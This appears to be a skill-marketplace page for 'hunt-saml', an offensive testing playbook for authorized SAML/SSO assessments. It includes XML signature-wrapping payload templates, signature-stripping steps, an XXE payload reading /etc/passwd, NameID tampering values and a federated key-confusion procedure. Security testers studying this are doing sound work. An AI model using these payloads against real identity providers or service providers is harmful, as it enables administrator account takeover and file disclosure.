mcpField
H
hunt-saml

hunt-saml

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-saml

hunt-saml 是用于评估 SAML 和 SSO 实现的安全测试技能,面向授权测试人员,涵盖攻击面、绕过手法及基于证据的分级判断。

主要功能

  1. 01发现 SAML 端点
  2. 02测试 XML 签名包装
  3. 03探测解析器差异与签名混淆
  4. 04检查 XXE 和 NameID 操纵
  5. 05评估漏洞严重性与影响

适用场景

  1. 01在授权测试中评估 SAML 登录流程
  2. 02检查签名验证和解析器行为
  3. 03验证 SAML 修改是否影响授权

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-saml

安装后在 Claude Code 中输入/hunt-saml确认已加载。

详细介绍

20. SAML / SSO 攻击

SSO 漏洞通常能获得高危到严重级别的奖励。XML 解析器众所周知存在行为不一致的问题。

攻击面
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻击 1:XML 签名包装(XSW)

<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature></ds:Signature>
  </saml:Assertion>
</saml:Response>


<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature></ds:Signature>
  </saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释

<NameID>[email protected]</NameID>



攻击 3:移除签名
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻击 4:SAML 断言中的 XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>
攻击 5:篡改 NameID
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
工具
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML 初步排查
XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

攻击 6:脆弱的锁——SAML 绕过(Fedotkin,2025 年 12 月)

来源: https://portswigger.net/research/the-fragile-lock

Alexander Fedotkin 于 2025 年 12 月发表的研究揭示了多类 SAML 绕过,其根源在于解析器差异、规范化不匹配以及多重签名混淆。主要有以下三种攻击向量:

6a. 解析器差异

不同的 XML 解析器(libxml2、Xerces、MSXML、.NET 中的 System.Xml)对以下内容的处理并不一致:

  • XML 注释边界——签名方使用 C14N without comments,验证方使用 C14N with comments,或反之。实际签名的值与经过验证的值不一致。
  • 空白规范化——带尾随空格的 NameID、属性之间的制表符与空格、命名空间前缀展开(xmlns:prefix 与继承的默认命名空间)。
  • 实体展开顺序——解析器管道中内部实体与外部实体的处理顺序,可能导致解析后的 DOM 与签名前验证的规范形式不一致。
  • CDATA 段处理——<NameID><![CDATA[[email protected]]]></NameID> 与 <NameID>[email protected]</NameID>——有些解析器会移除 CDATA,有些则会保留。

检测脚本:

# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.

# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID>  [email protected]  </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
6b. 多重签名/复制签名

有些 SP 接受包含多个 <ds:Signature> 元素的断言。攻击者可以:

  1. 获取任意断言的有效签名(例如,从公开的 SAML 演示 IdP 获取,或使用先前登录时的签名)。
  2. 移除原始签名断言,只保留 <ds:Signature>。
  3. 将新的恶意断言与复制的签名元素组合起来。

<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <AttributeStatement>
      <Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
    </AttributeStatement>
  </saml:Assertion>
  <ds:Signature></ds:Signature>
</saml:Response>
6c. 新型 XSW 变体(XSW2–XSW8)

除经典的 XSW1(注入重复断言)外,这些变体还能绕过增加了基于位置或 ID 的签名绑定的现代 SAML 库:

变体技术绕过对象
XSW2将 <ds:Signature> 移到恶意断言的子元素中根据签名相对于根元素的位置进行验证的库
XSW3在引用 URI 中,使用 XML 注释边界拆分断言使用 URI 片段匹配的库
XSW4在已签名断言中注入第二个 AssertionIDRef/AuthnStatement处理所有语句,而不只是第一个语句的库
XSW5在注入的断言上使用 xml:id/ID 属性,使其与已签名引用的 URI 相匹配根据 ID 字符串而非 DOM 位置进行匹配的库
XSW6命名空间前缀注入——为 SAML 命名空间声明别名,使注入的断言使用不同前缀但相同命名空间以此前缀字符串为匹配依据的库
XSW7在签名引用 URI 中使用 XML 外部实体(XXE),以篡改摘要校验在签名验证期间解析实体的库
XSW8在 <ds:Transform> 元素中注入 XSLT 转换——转换签名后的 DOM在验证后应用转换的库

用于探测 XSW2–XSW5 的脚本:

# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <ds:Signature></ds:Signature>
  </saml:Assertion>
</saml:Response>'''

# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    ...
  </saml:Assertion>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
  </saml:Assertion>
</saml:Response>'''

# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature></ds:Signature>
    <saml:AuthnStatement>
      <saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</saml:Response>'''
初步排查:密钥混淆变体

当 SP 信任多个 IdP(联邦环境中很常见)时,由 IdP-A(攻击者控制的 IdP)签名的断言会被发送到信任 IdP-B(受害者 IdP)的 SP。如果 SP 未验证 <Issuer> 或 <AudienceRestriction>,由攻击者控制的 IdP 签名的断言就能授予访问权限。

# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected] with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO

验证

运行此自测,确认 SAML 测试准备就绪:

  1. 技能完整性 — 确认技能文件可读取且格式正确:

    grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能设有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即可确认技能结构规范并已准备就绪。


陷阱

  • 未验证签名的 SAML — 未签名断言或 WantAssertionsSigned="false" 是首要的 SAML 发现项。
  • XML 签名包装(XSW) — 经典的 SAML 攻击。测试全部 8 种 XSW 变体,而不只是 #1。
  • SAML 响应重放 — 在有效期内捕获并重放 SAML 响应。测试 NotOnOrAfter 强制校验。
  • SAML 与 JWT 混淆 — SAML 断言是 XML;JWT 是 JSON。不要混用攻击技术。
  • SP 元数据可公开访问 — 访问 /saml/metadata 只提供信息。真正的发现项是元数据揭示的内容(未签名请求、弱算法)。

相关技能与攻击链

  • hunt-ato — SAML XSW 与缺失的受众限制验证相结合,是典型的 SP 冒充管理员攻击链。攻击链原语:XSW1 攻击将已签名断言移至次要位置 + 在主要位置注入带有 [email protected] 的恶意断言 + SP 处理第一个断言(恶意断言)+ SP 不验证 <AudienceRestriction>,因此接受原本发给 IdP-A 的断言 → 跨联邦租户边界实现管理员 ATO。
  • hunt-auth-bypass — SAML 去除签名是教科书式的身份验证绕过模式;此技能提供 SAML 机制,hunt-auth-bypass 则提供更广泛的绕过纪律。攻击链原语:捕获有效的 SAMLResponse → 用正则表达式彻底移除 <ds:Signature> 元素 → 将 <NameID> 修改为 admin → 重新编码为 base64 → POST 到 /saml/acs → SP 的 wantAssertionsSigned=false 设置使其静默接受 → 无需任何加密质询即可建立管理员会话。
  • hunt-oauth — 由 SAML 支持的 OAuth 发行方会将断言层面的漏洞转化为令牌层面的 ATO。攻击链原语:SP 在验证 SAML 断言后签发 OAuth 持有者令牌 + XSW 将 NameID 改为 admin → SP 的令牌端点签发带有管理员声明的 OAuth 令牌 → 所有下游 OAuth 作用域 API(管理员 API、计费 API、用户管理 API)都基于单个伪造断言授予管理员访问权限。
  • hunt-xxe — SAML 断言本身就是 XML;断言解析器中的 XXE 是叠加在 XSW 之上的独立攻击链。攻击链原语:SAML 解析器未设置 disallow-doctype-decl + 在断言中插入 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> + <NameID>&xxe;</NameID> → SP 呈现或记录 NameID → /etc/passwd 内容通过错误响应或审计日志泄露 → 在 SAML SP 基础设施上实现文件读取。
  • security-arsenal — 获取 SAML/XSW Payload Catalog(XSW1-XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的签名包装、攻击者控制的 IdP 签名断言被轻信信任关系的 SP 接受时使用的密钥混淆载荷),以及针对“在错误端点接受 SAMLResponse”这类实际并未验证的声明的始终拒绝清单。
  • triage-validation — 在将仅修改与安全无关属性(显示名称、区域设置)、却未改变 NameID、AuthnContext 或承载角色的 AttributeStatements 的 SAML“漏洞”评为 Critical 之前,先运行 Pre-Severity Gate。未跨越授权边界的理论性 XML 操纵属于信息级,而非 Critical——改变身份验证决策的步骤才是判定门槛。

评论

支持 Markdown